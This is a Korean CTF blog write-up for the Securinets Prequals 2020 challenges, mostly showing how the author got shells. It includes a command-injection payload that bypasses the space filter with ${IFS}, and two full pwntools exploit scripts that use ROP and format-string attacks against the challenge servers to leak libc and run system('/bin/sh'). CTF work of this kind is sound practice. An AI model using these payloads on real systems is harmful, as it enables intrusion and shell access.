본문으로 바로가기

Securinets Prequals 2K20

category CTF/CTF Playground 2020. 3. 23. 01:28

PWN :: UNCRACKABLE

약간 난이도 있는 Command Injection 문제다. 입력의 MD5 해시값이 3b9aafa12aceeccd29a154766194a964와 같으면 플래그를 보여준다.

입력을 scanf로 받기 때문에 whitespace, newline 등을 사용할 수 없고 sprintf로 커맨드라인에 입력값을 쓰기 때문에 NULL byte injection조차 불가능하다. 또 입력 길이가 32글자로 제한되어 있기 때문에 바로 echo로 해시값 3b... 을 쓰는 방법은 불가능하다.

수 차례 시도 끝에, 먼저 쉘로 들어가 echo를 사용해 길이 제한을 무력화했고, 공백은 ${IFS}를 사용해 우회했다. 최종 payload는 아래와 같다.

 

';echo${IFS}$(/bin/sh)|cat;echo'
echo 3b9aafa12aceeccd29a154766194a964
exit

 

왠지 더 쉬운 풀이가 있을 것 같기도 한데 나는 잘 모르겠다..

 

Flag: securinets{memcmp_turned_out_to_be_shame_shame_shame!!}

 

PWN :: Warmup : Welcome to securinets CTF

1바이트의 NULL byte poisoning으로 ebp 레지스터 값을 입력 문자열 위로 올려버릴 수 있다. ROP로 libc 주소를 leak하고 system("/bin/sh"); 를 실행시켜서 쉘을 따면 된다. (magic gadget은 해봤는데 전부 안됐다. 조건이 안맞았던 듯)

ASLR이 켜져 있기 때문에 ROP를 성공시키려면 약간의 브루트포싱이 필요하다. 다행히 로컬과 서버의 환경이 같아서, 로컬에서 먼저 테스트 해 보면서 좀 더 편하게 작업했다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
from pwn import *
import argparse

parser = argparse.ArgumentParser()
parser.add_argument('-r''--remote'help='connect to remote server'action='store_true')
args = parser.parse_args()


def setup() :
    global p

    if args.remote :
        p = connect('54.225.38.91'1028)
    else :
        p = process('./main')

def validate(data) :
    if len(data) < 4 :
        print('[Exploit] Failed to leak address. (0x0A in value)')
        exit()

def exploit() :
    puts_plt = 0x8049030
    puts_got = 0x804C00C
    setvbuf_got = 0x804C014
    scanf_got = 0x804C018
    pop_1_ret = 0x804926B
    ret = 0x804901F

    payload = b'A'*40
    payload += p32(puts_plt)
    payload += p32(pop_1_ret)
    payload += p32(scanf_got)
    payload += p32(puts_plt)
    payload += p32(pop_1_ret)
    payload += p32(setvbuf_got)
    payload += p32(ret)*10
    payload += p32(0x80491B7)   # main
    
    p.writelineafter(b'\n\n', payload)

    leak = p.readline()[:4]
    validate(leak)
    scanf_resolved = u32(leak)
    leak = p.readline()[:4]
    validate(leak)
    setvbuf_resolved = u32(leak)

    print('[Exploit] __isoc99_scanf = '+hex(scanf_resolved))
    print('[Exploit] setvbuf = '+hex(setvbuf_resolved))

    # libc: libc6_2.30-0ubuntu2_i386
    libc_base = scanf_resolved - 0x55360
    system = libc_base + 0x458B0
    str_bin_sh = libc_base + 0x19042D

    print('[Exploit] libc base: '+hex(libc_base))
    print('[Exploit] system = '+hex(system))
    print('[Exploit] str /bin/sh = '+hex(str_bin_sh))

    payload = b'A'*72
    payload += p32(system)
    payload += p32(pop_1_ret)
    payload += p32(str_bin_sh)
    payload = payload.ljust(108b'A')

    p.writelineafter(b'\n\n', payload)

    p.interactive()


if __name__ == '__main__' :
    while True :
        try :
            setup()
            exploit()
            break
        except EOFError :
            pass

 

Flag: securinets{1_byte_c4n_ru1n_y0ur_ent1re_lif3!!}

 

PWN :: CONTROL

FSB로 v1과 v2를 수정해 입력 길이, 횟수 제한을 늘리고 BOF로 libc를 leak한 뒤 다시 main으로 돌아가서 BOP로 system을 실행시켜 쉘을 따면 된다. stdout 버퍼링과 스택 주소 계산하는 것 때문에 좀 시간을 많이 써버렸다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
from pwn import *
from time import sleep
import argparse

parser = argparse.ArgumentParser()
parser.add_argument('-r''--remote'help='connect to remote server'action='store_true')
args = parser.parse_args()

if args.remote :
    p = connect('54.225.38.91'1026)
else :
    p = process('./main')


def exploit() :
    v1 = 0x804C008
    v2 = 0x804C010
    printf_plt = 0x8049030
    printf_got = 0x804BFE0
    fgets_got = 0x804BFE4
    pop_1_ret = 0x804901E

    # adjust values: v2=8, v1=512
    payload = p32(v1)
    payload += p32(v2)
    payload += b'%7$n%504c%6$n'.ljust(8b'A')
    p.writelineafter(b'name\n', payload) ; sleep(0.5)

    # leak stack address
    payload = b'%13$p '
    p.writelineafter(b'name\n', payload) ; sleep(0.5)
    p.readuntil(b'0x')
    esp = int(p.readuntil(b' ').rstrip(), 16) - 0xE4
    ebp = esp + 0x38

    print('[Exploit] esp = '+hex(esp))
    print('[Exploit] ebp = '+hex(ebp))

    for i in range(5) :
        p.writelineafter(b'name\n'b'A') ; sleep(0.1)

    # leak libc address
    payload = b'A'*0x28
    payload += p32(ebp)
    payload += p32(printf_plt)
    payload += p32(pop_1_ret)
    payload += p32(printf_got)
    payload += p32(printf_plt)
    payload += p32(pop_1_ret)
    payload += p32(printf_got)
    payload += p32(0x8049192)   # main
    p.writelineafter(b'name\n', payload) ; sleep(0.5)

    p.read()
    printf_resolved = u32(p.read(4))
    fgets_resolved = u32(p.read(4))

    print('[Exploit] printf = '+hex(printf_resolved))
    print('[Exploit] fgets = '+hex(fgets_resolved))

    # libc: libc6_2.30-0ubuntu2_i386
    libc_base = printf_resolved - 0x54230
    system = libc_base + 0x458B0
    str_bin_sh = libc_base + 0x19042D

    print('[Exploit] libc base: '+hex(libc_base))
    print('[Exploit] system = '+hex(system))
    print('[Exploit] str /bin/sh = '+hex(str_bin_sh))

    # adjust values: v2=8, v1=512
    payload = p32(v1)
    payload += p32(v2)
    payload += b'%7$n%504c%6$n'.ljust(8b'A')
    p.writelineafter(b'name\n', payload) ; sleep(0.5)

    # esp, ebp recalculate
    esp += 0x10
    ebp += 0x10

    print('[Exploit] esp (updated) = '+hex(esp))
    print('[Exploit] ebp (updated) = '+hex(ebp))

    for i in range(5) :
        p.writelineafter(b'name\n'b'A') ; sleep(0.1)

    # call system("/bin/sh")
    payload = b'A'*0x28
    payload += p32(ebp)
    payload += p32(system)
    payload += p32(pop_1_ret)
    payload += p32(str_bin_sh)
    p.writelineafter(b'name\n', payload) ; sleep(0.5)

    p.interactive()


if __name__ == '__main__' :
    exploit()

 

Flag: securinets{fmt_fmt_3v3rywh3r3!!}

 

REVERSING :: Warmup : Welcome to securinets CTF

0x201020의 32바이트에 XOR 42를 하면 된다. 마지막의 0x1E를 포함시키지 않는 데 주의하자.

 

Flag: securinets{l3t's_w4rm_1t_up_boy}

 

:: Welcome To Securinets !

Flag: Securinets{PreQu@l$_2K20}

'CTF > CTF Playground' 카테고리의 다른 글

Houseplant CTF  (0) 2020.04.27
TAMUctf 2020  (0) 2020.03.30
riftCTF  (0) 2020.03.21
ångstromCTF 2020  (0) 2020.03.16
HackTM CTF 2020  (0) 2020.02.02